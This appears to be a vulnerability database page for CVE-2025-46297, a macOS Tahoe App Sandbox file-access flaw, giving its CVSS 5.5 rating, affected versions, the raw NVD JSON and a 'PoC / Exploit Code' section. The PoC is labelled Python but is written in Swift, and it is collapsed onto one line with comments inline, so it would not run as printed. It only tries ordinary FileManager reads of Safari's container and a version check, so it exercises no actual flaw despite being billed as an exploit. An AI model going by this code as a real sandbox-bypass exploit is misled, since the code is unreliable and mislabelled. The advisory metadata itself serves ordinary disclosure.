Security Vulnerability Report
中文
CVE-2025-46297 CVSS 5.5 MEDIUM

CVE-2025-46297

Published: 2026-01-09 22:16:00
Last Modified: 2026-01-14 17:46:07

Description

A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Tahoe 26.2. An app may be able to access protected files within an App Sandbox container.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
macOS Tahoe < 26.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-46297 PoC - App Sandbox Container Access # This is a conceptual proof-of-concept demonstrating the vulnerability # Note: Actual exploitation requires specific conditions and macOS Tahoe environment import Foundation import Security class SandboxBypassPOC { // Target application bundle identifier let targetBundleID = "com.apple.Safari" // Attempt to access protected container files func attemptContainerAccess() -> Bool { // Construct container path let containerPath = "/Users/user/Library/Containers/\(targetBundleID)" // Attempt to list container directory contents let fileManager = FileManager.default do { // Try to enumerate files in protected container let contents = try fileManager.contentsOfDirectory(atPath: containerPath) // If successful, vulnerability exists print("[+] Successfully accessed container: \(containerPath)") print("[+] Container contents: \(contents)") // Attempt to read sensitive files for item in contents { let fullPath = "\(containerPath)/\(item)" if let data = fileManager.contents(atPath: fullPath) { print("[+] Read file: \(item) (\(data.count) bytes)") } } return true } catch { print("[-] Access denied: \(error.localizedDescription)") return false } } // Check if system is vulnerable func checkVulnerability() { let systemVersion = ProcessInfo.processInfo.operatingSystemVersion print("[*] macOS Version: \(systemVersion.majorVersion).\(systemVersion.minorVersion)") if systemVersion.majorVersion < 26 || (systemVersion.majorVersion == 26 && systemVersion.minorVersion < 2) { print("[!] System may be vulnerable to CVE-2025-46297") } else { print("[+] System is patched (macOS Tahoe 26.2+)") } } } // Execution let poc = SandboxBypassPOC() poc.checkVulnerability() poc.attemptContainerAccess()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-46297", "sourceIdentifier": "[email protected]", "published": "2026-01-09T22:15:59.580", "lastModified": "2026-01-14T17:46:06.847", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Tahoe 26.2. An app may be able to access protected files within an App Sandbox container."}, {"lang": "es", "value": "Un problema de permisos fue abordado con restricciones adicionales. Este problema está solucionado en macOS Tahoe 26.2. Una app podría ser capaz de acceder a archivos protegidos dentro de un contenedor de App Sandbox."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2", "matchCriteriaId": "FBA92B6D-E36C-432B-A041-94D81427CD75"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125886", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}